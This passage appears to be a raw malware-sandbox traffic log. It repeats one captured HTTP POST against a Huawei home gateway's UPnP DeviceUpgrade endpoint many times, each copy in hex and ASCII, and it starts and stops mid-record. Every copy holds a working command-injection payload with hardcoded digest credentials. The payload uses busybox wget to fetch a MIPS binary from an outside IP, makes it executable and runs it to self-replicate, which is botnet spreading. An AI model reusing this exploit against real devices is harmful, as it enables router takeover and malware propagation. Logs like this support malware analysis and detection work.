55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 